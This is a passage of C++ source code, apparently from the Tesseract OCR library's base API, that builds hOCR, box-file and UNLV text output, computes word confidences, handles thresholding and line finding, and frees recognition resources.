// baseline coordinates so that "the bottom left of the bounding box is the
// origin".
x1 -= left;
x2 -= left;
y1 -= bottom;
y2 -= bottom;
// Now fit a line through the points so we can extract coefficients for the
// equation: y = p1 x + p0
double p1 = 0;
double p0 = 0;
if (x1 == x2) {
// Problem computing the polynomial coefficients.
return;
}
p1 = (y2 - y1) / static_cast<double>(x2 - x1);
p0 = y1 - static_cast<double>(p1 * x1);
hocr_str->add_str_double("; baseline ", round(p1 * 1000.0) / 1000.0);
hocr_str->add_str_double(" ", round(p0 * 1000.0) / 1000.0);
}
static void AddBoxTohOCR(const PageIterator *it,
PageIteratorLevel level,
STRING* hocr_str) {
int left, top, right, bottom;
it->BoundingBox(level, &left, &top, &right, &bottom);
hocr_str->add_str_int("' title=\"bbox ", left);
hocr_str->add_str_int(" ", top);
hocr_str->add_str_int(" ", right);
hocr_str->add_str_int(" ", bottom);
// Add baseline coordinates for textlines only.
if (level == RIL_TEXTLINE)
AddBaselineCoordsTohOCR(it, level, hocr_str);
*hocr_str += "\">";
}
/**
* Make a HTML-formatted string with hOCR markup from the internal
* data structures.
* page_number is 0-based but will appear in the output as 1-based.
* Image name/input_file_ can be set by SetInputName before calling
* GetHOCRText
* STL removed from original patch submission and refactored by rays.
*/
char* TessBaseAPI::GetHOCRText(int page_number) {
if (tesseract_ == NULL ||
(page_res_ == NULL && Recognize(NULL) < 0))
return NULL;
int lcnt = 1, bcnt = 1, pcnt = 1, wcnt = 1;
int page_id = page_number + 1; // hOCR uses 1-based page numbers.
bool font_info = false;
GetBoolVariable("hocr_font_info", &font_info);
STRING hocr_str("");
if (input_file_ == NULL)
SetInputName(NULL);
#ifdef _WIN32
// convert input name from ANSI encoding to utf-8
int str16_len = MultiByteToWideChar(CP_ACP, 0, input_file_->string(), -1,
NULL, NULL);
wchar_t *uni16_str = new WCHAR[str16_len];
str16_len = MultiByteToWideChar(CP_ACP, 0, input_file_->string(), -1,
uni16_str, str16_len);
int utf8_len = WideCharToMultiByte(CP_UTF8, 0, uni16_str, str16_len, NULL,
NULL, NULL, NULL);
char *utf8_str = new char[utf8_len];
WideCharToMultiByte(CP_UTF8, 0, uni16_str, str16_len, utf8_str,
utf8_len, NULL, NULL);
*input_file_ = utf8_str;
delete[] uni16_str;
delete[] utf8_str;
#endif
hocr_str.add_str_int(" <div class='ocr_page' id='page_", page_id);
hocr_str += "' title='image \"";
if (input_file_) {
hocr_str += HOcrEscape(input_file_->string());
} else {
hocr_str += "unknown";
}
hocr_str.add_str_int("\"; bbox ", rect_left_);
hocr_str.add_str_int(" ", rect_top_);
hocr_str.add_str_int(" ", rect_width_);
hocr_str.add_str_int(" ", rect_height_);
hocr_str.add_str_int("; ppageno ", page_number);
hocr_str += "'>\n";
ResultIterator *res_it = GetIterator();
while (!res_it->Empty(RIL_BLOCK)) {
if (res_it->Empty(RIL_WORD)) {
res_it->Next(RIL_WORD);
continue;
}
// Open any new block/paragraph/textline.
if (res_it->IsAtBeginningOf(RIL_BLOCK)) {
hocr_str.add_str_int(" <div class='ocr_carea' id='block_", page_id);
hocr_str.add_str_int("_", bcnt);
AddBoxTohOCR(res_it, RIL_BLOCK, &hocr_str);
}
if (res_it->IsAtBeginningOf(RIL_PARA)) {
if (res_it->ParagraphIsLtr()) {
hocr_str.add_str_int("\n <p class='ocr_par' dir='ltr' id='par_",
page_id);
hocr_str.add_str_int("_", pcnt);
} else {
hocr_str.add_str_int("\n <p class='ocr_par' dir='rtl' id='par_",
page_id);
hocr_str.add_str_int("_", pcnt);
}
AddBoxTohOCR(res_it, RIL_PARA, &hocr_str);
}
if (res_it->IsAtBeginningOf(RIL_TEXTLINE)) {
hocr_str.add_str_int("\n <span class='ocr_line' id='line_", page_id);
hocr_str.add_str_int("_", lcnt);
AddBoxTohOCR(res_it, RIL_TEXTLINE, &hocr_str);
}
// Now, process the word...
hocr_str.add_str_int("<span class='ocrx_word' id='word_", page_id);
hocr_str.add_str_int("_", wcnt);
int left, top, right, bottom;
bool bold, italic, underlined, monospace, serif, smallcaps;
int pointsize, font_id;
const char *font_name;
res_it->BoundingBox(RIL_WORD, &left, &top, &right, &bottom);
font_name = res_it->WordFontAttributes(&bold, &italic, &underlined,
&monospace, &serif, &smallcaps,
&pointsize, &font_id);
hocr_str.add_str_int("' title='bbox ", left);
hocr_str.add_str_int(" ", top);
hocr_str.add_str_int(" ", right);
hocr_str.add_str_int(" ", bottom);
hocr_str.add_str_int("; x_wconf ", res_it->Confidence(RIL_WORD));
if (font_info) {
hocr_str += "; x_font ";
hocr_str += HOcrEscape(font_name);
hocr_str.add_str_int("; x_fsize ", pointsize);
}
hocr_str += "'";
if (res_it->WordRecognitionLanguage()) {
hocr_str += " lang='";
hocr_str += res_it->WordRecognitionLanguage();
hocr_str += "'";
}
switch (res_it->WordDirection()) {
case DIR_LEFT_TO_RIGHT: hocr_str += " dir='ltr'"; break;
case DIR_RIGHT_TO_LEFT: hocr_str += " dir='rtl'"; break;
default: // Do nothing.
break;
}
hocr_str += ">";
bool last_word_in_line = res_it->IsAtFinalElement(RIL_TEXTLINE, RIL_WORD);
bool last_word_in_para = res_it->IsAtFinalElement(RIL_PARA, RIL_WORD);
bool last_word_in_block = res_it->IsAtFinalElement(RIL_BLOCK, RIL_WORD);
if (bold) hocr_str += "<strong>";
if (italic) hocr_str += "<em>";
do {
const char *grapheme = res_it->GetUTF8Text(RIL_SYMBOL);
if (grapheme && grapheme[0] != 0) {
hocr_str += HOcrEscape(grapheme);
}
delete []grapheme;
res_it->Next(RIL_SYMBOL);
} while (!res_it->Empty(RIL_BLOCK) && !res_it->IsAtBeginningOf(RIL_WORD));
if (italic) hocr_str += "</em>";
if (bold) hocr_str += "</strong>";
hocr_str += "</span> ";
wcnt++;
// Close any ending block/paragraph/textline.
if (last_word_in_line) {
hocr_str += "\n </span>";
lcnt++;
}
if (last_word_in_para) {
hocr_str += "\n </p>\n";
pcnt++;
}
if (last_word_in_block) {
hocr_str += " </div>\n";
bcnt++;
}
}
hocr_str += " </div>\n";
char *ret = new char[hocr_str.length() + 1];
strcpy(ret, hocr_str.string());
delete res_it;
return ret;
}
/** The 5 numbers output for each box (the usual 4 and a page number.) */
const int kNumbersPerBlob = 5;
/**
* The number of bytes taken by each number. Since we use inT16 for ICOORD,
* assume only 5 digits max.
*/
const int kBytesPerNumber = 5;
/**
* Multiplier for max expected textlength assumes (kBytesPerNumber + space)
* * kNumbersPerBlob plus the newline. Add to this the
* original UTF8 characters, and one kMaxBytesPerLine for safety.
*/
const int kBytesPerBlob = kNumbersPerBlob * (kBytesPerNumber + 1) + 1;
const int kBytesPerBoxFileLine = (kBytesPerNumber + 1) * kNumbersPerBlob + 1;
/** Max bytes in the decimal representation of inT64. */
const int kBytesPer64BitNumber = 20;
/**
* A maximal single box could occupy kNumbersPerBlob numbers at
* kBytesPer64BitNumber digits (if someone sneaks in a 64 bit value) and a
* space plus the newline and the maximum length of a UNICHAR.
* Test against this on each iteration for safety.
*/
const int kMaxBytesPerLine = kNumbersPerBlob * (kBytesPer64BitNumber + 1) + 1 +
UNICHAR_LEN;
/**
* The recognized text is returned as a char* which is coded
* as a UTF8 box file and must be freed with the delete [] operator.
* page_number is a 0-base page index that will appear in the box file.
*/
char* TessBaseAPI::GetBoxText(int page_number) {
if (tesseract_ == NULL ||
(!recognition_done_ && Recognize(NULL) < 0))
return NULL;
int blob_count;
int utf8_length = TextLength(&blob_count);
int total_length = blob_count * kBytesPerBoxFileLine + utf8_length +
kMaxBytesPerLine;
char* result = new char[total_length];
strcpy(result, "\0");
int output_length = 0;
LTRResultIterator* it = GetLTRIterator();
do {
int left, top, right, bottom;
if (it->BoundingBox(RIL_SYMBOL, &left, &top, &right, &bottom)) {
char* text = it->GetUTF8Text(RIL_SYMBOL);
// Tesseract uses space for recognition failure. Fix to a reject
// character, kTesseractReject so we don't create illegal box files.
for (int i = 0; text[i] != '\0'; ++i) {
if (text[i] == ' ')
text[i] = kTesseractReject;
}
snprintf(result + output_length, total_length - output_length,
"%s %d %d %d %d %d\n",
text, left, image_height_ - bottom,
right, image_height_ - top, page_number);
output_length += strlen(result + output_length);
delete [] text;
// Just in case...
if (output_length + kMaxBytesPerLine > total_length)
break;
}
} while (it->Next(RIL_SYMBOL));
delete it;
return result;
}
/**
* Conversion table for non-latin characters.
* Maps characters out of the latin set into the latin set.
* TODO(rays) incorporate this translation into unicharset.
*/
const int kUniChs[] = {
0x20ac, 0x201c, 0x201d, 0x2018, 0x2019, 0x2022, 0x2014, 0
};
/** Latin chars corresponding to the unicode chars above. */
const int kLatinChs[] = {
0x00a2, 0x0022, 0x0022, 0x0027, 0x0027, 0x00b7, 0x002d, 0
};
/**
* The recognized text is returned as a char* which is coded
* as UNLV format Latin-1 with specific reject and suspect codes
* and must be freed with the delete [] operator.
*/
char* TessBaseAPI::GetUNLVText() {
if (tesseract_ == NULL ||
(!recognition_done_ && Recognize(NULL) < 0))
return NULL;
bool tilde_crunch_written = false;
bool last_char_was_newline = true;
bool last_char_was_tilde = false;
int total_length = TextLength(NULL);
PAGE_RES_IT page_res_it(page_res_);
char* result = new char[total_length];
char* ptr = result;
for (page_res_it.restart_page(); page_res_it.word () != NULL;
page_res_it.forward()) {
WERD_RES *word = page_res_it.word();
// Process the current word.
if (word->unlv_crunch_mode != CR_NONE) {
if (word->unlv_crunch_mode != CR_DELETE &&
(!tilde_crunch_written ||
(word->unlv_crunch_mode == CR_KEEP_SPACE &&
word->word->space() > 0 &&
!word->word->flag(W_FUZZY_NON) &&
!word->word->flag(W_FUZZY_SP)))) {
if (!word->word->flag(W_BOL) &&
word->word->space() > 0 &&
!word->word->flag(W_FUZZY_NON) &&
!word->word->flag(W_FUZZY_SP)) {
/* Write a space to separate from preceeding good text */
*ptr++ = ' ';
last_char_was_tilde = false;
}
if (!last_char_was_tilde) {
// Write a reject char.
last_char_was_tilde = true;
*ptr++ = kUNLVReject;
tilde_crunch_written = true;
last_char_was_newline = false;
}
}
} else {
// NORMAL PROCESSING of non tilde crunched words.
tilde_crunch_written = false;
tesseract_->set_unlv_suspects(word);
const char* wordstr = word->best_choice->unichar_string().string();
const STRING& lengths = word->best_choice->unichar_lengths();
int length = lengths.length();
int i = 0;
int offset = 0;
if (last_char_was_tilde &&
word->word->space() == 0 && wordstr[offset] == ' ') {
// Prevent adjacent tilde across words - we know that adjacent tildes
// within words have been removed.
// Skip the first character.
offset = lengths[i++];
}
if (i < length && wordstr[offset] != 0) {
if (!last_char_was_newline)
*ptr++ = ' ';
else
last_char_was_newline = false;
for (; i < length; offset += lengths[i++]) {
if (wordstr[offset] == ' ' ||
wordstr[offset] == kTesseractReject) {
*ptr++ = kUNLVReject;
last_char_was_tilde = true;
} else {
if (word->reject_map[i].rejected())
*ptr++ = kUNLVSuspect;
UNICHAR ch(wordstr + offset, lengths[i]);
int uni_ch = ch.first_uni();
for (int j = 0; kUniChs[j] != 0; ++j) {
if (kUniChs[j] == uni_ch) {
uni_ch = kLatinChs[j];
break;
}
}
if (uni_ch <= 0xff) {
*ptr++ = static_cast<char>(uni_ch);
last_char_was_tilde = false;
} else {
*ptr++ = kUNLVReject;
last_char_was_tilde = true;
}
}
}
}
}
if (word->word->flag(W_EOL) && !last_char_was_newline) {
/* Add a new line output */
*ptr++ = '\n';
tilde_crunch_written = false;
last_char_was_newline = true;
last_char_was_tilde = false;
}
}
*ptr++ = '\n';
*ptr = '\0';
return result;
}
/** Returns the average word confidence for Tesseract page result. */
int TessBaseAPI::MeanTextConf() {
int* conf = AllWordConfidences();
if (!conf) return 0;
int sum = 0;
int *pt = conf;
while (*pt >= 0) sum += *pt++;
if (pt != conf) sum /= pt - conf;
delete [] conf;
return sum;
}
/** Returns an array of all word confidences, terminated by -1. */
int* TessBaseAPI::AllWordConfidences() {
if (tesseract_ == NULL ||
(!recognition_done_ && Recognize(NULL) < 0))
return NULL;
int n_word = 0;
PAGE_RES_IT res_it(page_res_);
for (res_it.restart_page(); res_it.word() != NULL; res_it.forward())
n_word++;
int* conf = new int[n_word+1];
n_word = 0;
for (res_it.restart_page(); res_it.word() != NULL; res_it.forward()) {
WERD_RES *word = res_it.word();
WERD_CHOICE* choice = word->best_choice;
int w_conf = static_cast<int>(100 + 5 * choice->certainty());
// This is the eq for converting Tesseract confidence to 1..100
if (w_conf < 0) w_conf = 0;
if (w_conf > 100) w_conf = 100;
conf[n_word++] = w_conf;
}
conf[n_word] = -1;
return conf;
}
/**
* Applies the given word to the adaptive classifier if possible.
* The word must be SPACE-DELIMITED UTF-8 - l i k e t h i s , so it can
* tell the boundaries of the graphemes.
* Assumes that SetImage/SetRectangle have been used to set the image
* to the given word. The mode arg should be PSM_SINGLE_WORD or
* PSM_CIRCLE_WORD, as that will be used to control layout analysis.
* The currently set PageSegMode is preserved.
* Returns false if adaption was not possible for some reason.
*/
bool TessBaseAPI::AdaptToWordStr(PageSegMode mode, const char* wordstr) {
int debug = 0;
GetIntVariable("applybox_debug", &debug);
bool success = true;
PageSegMode current_psm = GetPageSegMode();
SetPageSegMode(mode);
SetVariable("classify_enable_learning", "0");
char* text = GetUTF8Text();
if (debug) {
tprintf("Trying to adapt \"%s\" to \"%s\"\n", text, wordstr);
}
if (text != NULL) {
PAGE_RES_IT it(page_res_);
WERD_RES* word_res = it.word();
if (word_res != NULL) {
word_res->word->set_text(wordstr);
} else {
success = false;
}
// Check to see if text matches wordstr.
int w = 0;
int t = 0;
for (t = 0; text[t] != '\0'; ++t) {
if (text[t] == '\n' || text[t] == ' ')
continue;
while (wordstr[w] != '\0' && wordstr[w] == ' ')
++w;
if (text[t] != wordstr[w])
break;
++w;
}
if (text[t] != '\0' || wordstr[w] != '\0') {
// No match.
delete page_res_;
GenericVector<TBOX> boxes;
page_res_ = tesseract_->SetupApplyBoxes(boxes, block_list_);
tesseract_->ReSegmentByClassification(page_res_);
tesseract_->TidyUp(page_res_);
PAGE_RES_IT pr_it(page_res_);
if (pr_it.word() == NULL)
success = false;
else
word_res = pr_it.word();
} else {
word_res->BestChoiceToCorrectText();
}
if (success) {
tesseract_->EnableLearning = true;
tesseract_->LearnWord(NULL, word_res);
}
delete [] text;
} else {
success = false;
}
SetPageSegMode(current_psm);
return success;
}
/**
* Free up recognition results and any stored image data, without actually
* freeing any recognition data that would be time-consuming to reload.
* Afterwards, you must call SetImage or TesseractRect before doing
* any Recognize or Get* operation.
*/
void TessBaseAPI::Clear() {
if (thresholder_ != NULL)
thresholder_->Clear();
ClearResults();
SetInputImage(NULL);
}
/**
* Close down tesseract and free up all memory. End() is equivalent to
* destructing and reconstructing your TessBaseAPI.
* Once End() has been used, none of the other API functions may be used
* other than Init and anything declared above it in the class definition.
*/
void TessBaseAPI::End() {
if (thresholder_ != NULL) {
delete thresholder_;
thresholder_ = NULL;
}
if (page_res_ != NULL) {
delete page_res_;
page_res_ = NULL;
}
if (block_list_ != NULL) {
delete block_list_;
block_list_ = NULL;
}
if (paragraph_models_ != NULL) {
paragraph_models_->delete_data_pointers();
delete paragraph_models_;
paragraph_models_ = NULL;
}
if (tesseract_ != NULL) {
delete tesseract_;
if (osd_tesseract_ == tesseract_)
osd_tesseract_ = NULL;
tesseract_ = NULL;
}
if (osd_tesseract_ != NULL) {
delete osd_tesseract_;
osd_tesseract_ = NULL;
}
if (equ_detect_ != NULL) {
delete equ_detect_;
equ_detect_ = NULL;
}
if (input_file_ != NULL) {
delete input_file_;
input_file_ = NULL;
}
if (input_image_ != NULL) {
pixDestroy(&input_image_);
input_image_ = NULL;
}
if (output_file_ != NULL) {
delete output_file_;
output_file_ = NULL;
}
if (datapath_ != NULL) {
delete datapath_;
datapath_ = NULL;
}
if (language_ != NULL) {
delete language_;
language_ = NULL;
}
}
// Clear any library-level memory caches.
// There are a variety of expensive-to-load constant data structures (mostly
// language dictionaries) that are cached globally -- surviving the Init()
// and End() of individual TessBaseAPI's. This function allows the clearing
// of these caches.
void TessBaseAPI::ClearPersistentCache() {
Dict::GlobalDawgCache()->DeleteUnusedDawgs();
}
/**
* Check whether a word is valid according to Tesseract's language model
* returns 0 if the word is invalid, non-zero if valid
*/
int TessBaseAPI::IsValidWord(const char *word) {
return tesseract_->getDict().valid_word(word);
}
// Returns true if utf8_character is defined in the UniCharset.
bool TessBaseAPI::IsValidCharacter(const char *utf8_character) {
return tesseract_->unicharset.contains_unichar(utf8_character);
}
// TODO(rays) Obsolete this function and replace with a more aptly named
// function that returns image coordinates rather than tesseract coordinates.
bool TessBaseAPI::GetTextDirection(int* out_offset, float* out_slope) {
PageIterator* it = AnalyseLayout();
if (it == NULL) {
return false;
}
int x1, x2, y1, y2;
it->Baseline(RIL_TEXTLINE, &x1, &y1, &x2, &y2);
// Calculate offset and slope (NOTE: Kind of ugly)
if (x2 <= x1) x2 = x1 + 1;
// Convert the point pair to slope/offset of the baseline (in image coords.)
*out_slope = static_cast<float>(y2 - y1) / (x2 - x1);
*out_offset = static_cast<int>(y1 - *out_slope * x1);
// Get the y-coord of the baseline at the left and right edges of the
// textline's bounding box.
int left, top, right, bottom;
if (!it->BoundingBox(RIL_TEXTLINE, &left, &top, &right, &bottom)) {
delete it;
return false;
}
int left_y = IntCastRounded(*out_slope * left + *out_offset);
int right_y = IntCastRounded(*out_slope * right + *out_offset);
// Shift the baseline down so it passes through the nearest bottom-corner
// of the textline's bounding box. This is the difference between the y
// at the lowest (max) edge of the box and the actual box bottom.
*out_offset += bottom - MAX(left_y, right_y);
// Switch back to bottom-up tesseract coordinates. Requires negation of
// the slope and height - offset for the offset.
*out_slope = -*out_slope;
*out_offset = rect_height_ - *out_offset;
delete it;
return true;
}
/** Sets Dict::letter_is_okay_ function to point to the given function. */
void TessBaseAPI::SetDictFunc(DictFunc f) {
if (tesseract_ != NULL) {
tesseract_->getDict().letter_is_okay_ = f;
}
}
/**
* Sets Dict::probability_in_context_ function to point to the given
* function.
*
* @param f A single function that returns the probability of the current
* "character" (in general a utf-8 string), given the context of a previous
* utf-8 string.
*/
void TessBaseAPI::SetProbabilityInContextFunc(ProbabilityInContextFunc f) {
if (tesseract_ != NULL) {
tesseract_->getDict().probability_in_context_ = f;
// Set it for the sublangs too.
int num_subs = tesseract_->num_sub_langs();
for (int i = 0; i < num_subs; ++i) {
tesseract_->get_sub_lang(i)->getDict().probability_in_context_ = f;
}
}
}
/** Sets Wordrec::fill_lattice_ function to point to the given function. */
void TessBaseAPI::SetFillLatticeFunc(FillLatticeFunc f) {
if (tesseract_ != NULL) tesseract_->fill_lattice_ = f;
}
/** Common code for setting the image. */
bool TessBaseAPI::InternalSetImage() {
if (tesseract_ == NULL) {
tprintf("Please call Init before attempting to set an image.");
return false;
}
if (thresholder_ == NULL)
thresholder_ = new ImageThresholder;
ClearResults();
return true;
}
/**
* Run the thresholder to make the thresholded image, returned in pix,
* which must not be NULL. *pix must be initialized to NULL, or point
* to an existing pixDestroyable Pix.
* The usual argument to Threshold is Tesseract::mutable_pix_binary().
*/
void TessBaseAPI::Threshold(Pix** pix) {
ASSERT_HOST(pix != NULL);
if (*pix != NULL)
pixDestroy(pix);
// Zero resolution messes up the algorithms, so make sure it is credible.
int y_res = thresholder_->GetScaledYResolution();
if (y_res < kMinCredibleResolution || y_res > kMaxCredibleResolution) {
// Use the minimum default resolution, as it is safer to under-estimate
// than over-estimate resolution.
thresholder_->SetSourceYResolution(kMinCredibleResolution);
}
PageSegMode pageseg_mode =
static_cast<PageSegMode>(
static_cast<int>(tesseract_->tessedit_pageseg_mode));
thresholder_->ThresholdToPix(pageseg_mode, pix);
thresholder_->GetImageSizes(&rect_left_, &rect_top_,
&rect_width_, &rect_height_,
&image_width_, &image_height_);
if (!thresholder_->IsBinary()) {
tesseract_->set_pix_thresholds(thresholder_->GetPixRectThresholds());
tesseract_->set_pix_grey(thresholder_->GetPixRectGrey());
} else {
tesseract_->set_pix_thresholds(NULL);
tesseract_->set_pix_grey(NULL);
}
// Set the internal resolution that is used for layout parameters from the
// estimated resolution, rather than the image resolution, which may be
// fabricated, but we will use the image resolution, if there is one, to
// report output point sizes.
int estimated_res = ClipToRange(thresholder_->GetScaledEstimatedResolution(),
kMinCredibleResolution,
kMaxCredibleResolution);
if (estimated_res != thresholder_->GetScaledEstimatedResolution()) {
tprintf("Estimated resolution %d out of range! Corrected to %d\n",
thresholder_->GetScaledEstimatedResolution(), estimated_res);
}
tesseract_->set_source_resolution(estimated_res);
SavePixForCrash(estimated_res, *pix);
}
/** Find lines from the image making the BLOCK_LIST. */
int TessBaseAPI::FindLines() {
if (thresholder_ == NULL || thresholder_->IsEmpty()) {
tprintf("Please call SetImage before attempting recognition.");
return -1;
}
if (recognition_done_)
ClearResults();
if (!block_list_->empty()) {
return 0;
}
if (tesseract_ == NULL) {
tesseract_ = new Tesseract;
tesseract_->InitAdaptiveClassifier(false);
}
if (tesseract_->pix_binary() == NULL)
Threshold(tesseract_->mutable_pix_binary());
if (tesseract_->ImageWidth() > MAX_INT16 ||
tesseract_->ImageHeight() > MAX_INT16) {
tprintf("Image too large: (%d, %d)\n",
tesseract_->ImageWidth(), tesseract_->ImageHeight());
return -1;
}
tesseract_->PrepareForPageseg();
if (tesseract_->textord_equation_detect) {
if (equ_detect_ == NULL && datapath_ != NULL) {
equ_detect_ = new EquationDetect(datapath_->string(), NULL);
}
tesseract_->SetEquationDetect(equ_detect_);
}
Tesseract* osd_tess = osd_tesseract_;
OSResults osr;
if (PSM_OSD_ENABLED(tesseract_->tessedit_pageseg_mode) && osd_tess == NULL) {
if (strcmp(language_->string(), "osd") == 0) {
osd_tess = tesseract_;
} else {
osd_tesseract_ = new Tesseract;
if (osd_tesseract_->init_tesseract(
datapath_->string(), NULL, "osd", OEM_TESSERACT_ONLY,
NULL, 0, NULL, NULL, false) == 0) {
osd_tess = osd_tesseract_;
osd_tesseract_->set_source_resolution(
thresholder_->GetSourceYResolution());
} else {
tprintf("Warning: Auto orientation and script detection requested,"
" but osd language failed to load\n");
delete osd_tesseract_;
osd_tesseract_ = NULL;
}
}
}
if (tesseract_->SegmentPage(input_file_, block_list_, osd_tess, &osr) < 0)
return -1;
// If Devanagari is being recognized, we use different images for page seg
// and for OCR.
tesseract_->PrepareForTessOCR(block_list_, osd_tess, &osr);
return 0;
}
/** Delete the pageres and clear the block list ready for a new page. */
void TessBaseAPI::ClearResults() {
if (tesseract_ != NULL) {
tesseract_->Clear();
}
if (page_res_ != NULL) {
delete page_res_;
page_res_ = NULL;
}
recognition_done_ = false;
if (block_list_ == NULL)
block_list_ = new BLOCK_LIST;
else
block_list_->clear();
if (paragraph_models_ != NULL) {
paragraph_models_->delete_data_pointers();
delete paragraph_models_;
paragraph_models_ = NULL;
}
SavePixForCrash(0, NULL);
}
/**
* Return the length of the output text string, as UTF8, assuming
* liberally two spacing marks after each word (as paragraphs end with two
* newlines), and assuming a single character reject marker for each rejected
* character.
* Also return the number of recognized blobs in blob_count.
*/
int TessBaseAPI::TextLength(int* blob_count) {
if (tesseract_ == NULL || page_res_ == NULL)
return 0;
PAGE_RES_IT page_res_it(page_res_);
int total_length = 2;
int total_blobs = 0;
// Iterate over the data structures to extract the recognition result.
for (page_res_it.restart_page(); page_res_it.word () != NULL;
page_res_it.forward()) {
WERD_RES *word = page_res_it.word();
WERD_CHOICE* choice = word->best_choice;
if (choice != NULL) {
total_blobs += choice->length() + 2;
total_length += choice->unichar_string().length() + 2;
for (int i = 0; i < word->reject_map.length(); ++i) {
if (word->reject_map[i].rejected())
++total_length;
}
}
}
if (blob_count != NULL)
*blob_count = total_blobs;
return total_length;
}
/**
* Estimates the Orientation And Script of the image.
* Returns true if the image was processed successfully.
*/
bool TessBaseAPI::DetectOS(OSResults* osr) {
if (tesseract_ == NULL)
return false;
ClearResults();
if (tesseract_->pix_binary() == NULL)
Threshold(tesseract_->mutable_pix_binary());
if (input_file_ == NULL)
input_file_ = new STRING(kInputFile);
return orientation_and_script_detection(*input_file_, osr, tesseract_);
}
void TessBaseAPI::set_min_orientation_margin(double margin) {
tesseract_->min_orientation_margin.set_value(margin);
}
/**
* Return text orientation of each block as determined in an earlier page layout
* analysis operation. Orientation is returned as the number of ccw 90-degree
* rotations (in [0..3]) required to make the text in the block upright
* (readable). Note that this may not necessary be the block orientation
* preferred for recognition (such as the case of vertical CJK text).
*
* Also returns whether the text in the block is believed to have vertical
* writing direction (when in an upright page orientation).
*
* The returned array is of length equal to the number of text blocks, which may
* be less than the total number of blocks. The ordering is intended to be
* consistent with GetTextLines().
*/
void TessBaseAPI::GetBlockTextOrientations(int** block_orientation,
bool** vertical_writing) {
delete[] *block_orientation;
*block_orientation = NULL;
delete[] *vertical_writing;
*vertical_writing = NULL;
BLOCK_IT block_it(block_list_);
block_it.move_to_first();
int num_blocks = 0;
for (block_it.mark_cycle_pt(); !block_it.cycled_list(); block_it.forward()) {
if (!block_it.data()->poly_block()->IsText()) {
continue;
}
++num_blocks;
}
if (!num_blocks) {
tprintf("WARNING: Found no blocks\n");
return;
}
*block_orientation = new int[num_blocks];
*vertical_writing = new bool[num_blocks];
block_it.move_to_first();
int i = 0;
for (block_it.mark_cycle_pt(); !block_it.cycled_list();
block_it.forward()) {
if (!block_it.data()->poly_block()->IsText()) {
continue;
}
FCOORD re_rotation = block_it.data()->re_rotation();
float re_theta = re_rotation.angle();
FCOORD classify_rotation = block_it.data()->classify_rotation();
float classify_theta = classify_rotation.angle();
double rot_theta = - (re_theta - classify_theta) * 2.0 / PI;
if (rot_theta < 0) rot_theta += 4;
int num_rotations = static_cast<int>(rot_theta + 0.5);
(*block_orientation)[i] = num_rotations;
// The classify_rotation is non-zero only if the text has vertical
// writing direction.
(*vertical_writing)[i] = classify_rotation.y() != 0.0f;
++i;
}
}
// ____________________________________________________________________________
// Ocropus add-ons.
/** Find lines from the image making the BLOCK_LIST. */
BLOCK_LIST* TessBaseAPI::FindLinesCreateBlockList() {
FindLines();
BLOCK_LIST* result = block_list_;
block_list_ = NULL;
return result;
}
/**
* Delete a block list.
* This is to keep BLOCK_LIST pointer opaque
* and let go of including the other headers.
*/
void TessBaseAPI::DeleteBlockList(BLOCK_LIST *block_list) {
delete block_list;
}
ROW *TessBaseAPI::MakeTessOCRRow(float baseline,
float xheight,
float descender,
float ascender) {
inT32 xstarts[] = {-32000};
double quad_coeffs[] = {0, 0, baseline};
return new ROW(1,
xstarts,
quad_coeffs,
xheight,
ascender - (baseline + xheight),
descender - baseline,
0,
0);
}
/** Creates a TBLOB* from the whole pix. */
TBLOB *TessBaseAPI::MakeTBLOB(Pix *pix) {
int width = pixGetWidth(pix);
int height = pixGetHeight(pix);
BLOCK block("a character", TRUE, 0, 0, 0, 0, width, height);
// Create C_BLOBs from the page
extract_edges(pix, &block);
// Merge all C_BLOBs
C_BLOB_LIST *list = block.blob_list();
C_BLOB_IT c_blob_it(list);
if (c_blob_it.empty())
return NULL;
// Move all the outlines to the first blob.
C_OUTLINE_IT ol_it(c_blob_it.data()->out_list());
for (c_blob_it.forward();
!c_blob_it.at_first();
c_blob_it.forward()) {
C_BLOB *c_blob = c_blob_it.data();
ol_it.add_list_after(c_blob->out_list());
}
// Convert the first blob to the output TBLOB.
return TBLOB::PolygonalCopy(false, c_blob_it.data());
}
/**
* This method baseline normalizes a TBLOB in-place. The input row is used
* for normalization. The denorm is an optional parameter in which the
* normalization-antidote is returned.
*/
void TessBaseAPI::NormalizeTBLOB(TBLOB *tblob, ROW *row, bool numeric_mode) {
TBOX box = tblob->bounding_box();
float x_center = (box.left() + box.right()) / 2.0f;
float baseline = row->base_line(x_center);
float scale = kBlnXHeight / row->x_height();
tblob->Normalize(NULL, NULL, NULL, x_center, baseline, scale, scale,
0.0f, static_cast<float>(kBlnBaselineOffset), false, NULL);
}
/**
* Return a TBLOB * from the whole pix.
* To be freed later with delete.
*/
TBLOB *make_tesseract_blob(float baseline, float xheight,
float descender, float ascender,
bool numeric_mode, Pix* pix) {
TBLOB *tblob = TessBaseAPI::MakeTBLOB(pix);
// Normalize TBLOB
ROW *row =
TessBaseAPI::MakeTessOCRRow(baseline, xheight, descender, ascender);
TessBaseAPI::NormalizeTBLOB(tblob, row, numeric_mode);
delete row;
return tblob;
}
/**
* Adapt to recognize the current image as the given character.
* The image must be preloaded into pix_binary_ and be just an image
* of a single character.
*/
void TessBaseAPI::AdaptToCharacter(const char *unichar_repr,
int length,
float baseline,
float xheight,
float descender,
float ascender) {
UNICHAR_ID id = tesseract_->unicharset.unichar_to_id(unichar_repr, length);
TBLOB *blob = make_tesseract_blob(baseline, xheight, descender, ascender,
tesseract_->classify_bln_numeric_mode,
tesseract_->pix_binary());
float threshold;
float best_rating = -100;
// Classify to get a raw choice.
BLOB_CHOICE_LIST choices;
tesseract_->AdaptiveClassifier(blob, &choices);
BLOB_CHOICE_IT choice_it;
choice_it.set_to_list(&choices);
for (choice_it.mark_cycle_pt(); !choice_it.cycled_list();
choice_it.forward()) {
if (choice_it.data()->rating() > best_rating) {
best_rating = choice_it.data()->rating();
}
}
threshold = tesseract_->matcher_good_threshold;
if (blob->outlines)
tesseract_->AdaptToChar(blob, id, kUnknownFontinfoId, threshold);
delete blob;
}
PAGE_RES* TessBaseAPI::RecognitionPass1(BLOCK_LIST* block_list) {
PAGE_RES *page_res = new PAGE_RES(false, block_list,
&(tesseract_->prev_word_best_choice_));
tesseract_->recog_all_words(page_res, NULL, NULL, NULL, 1);
return page_res;
}
PAGE_RES* TessBaseAPI::RecognitionPass2(BLOCK_LIST* block_list,
PAGE_RES* pass1_result) {
if (!pass1_result)
pass1_result = new PAGE_RES(false, block_list,
&(tesseract_->prev_word_best_choice_));
tesseract_->recog_all_words(pass1_result, NULL, NULL, NULL, 2);
return pass1_result;
}
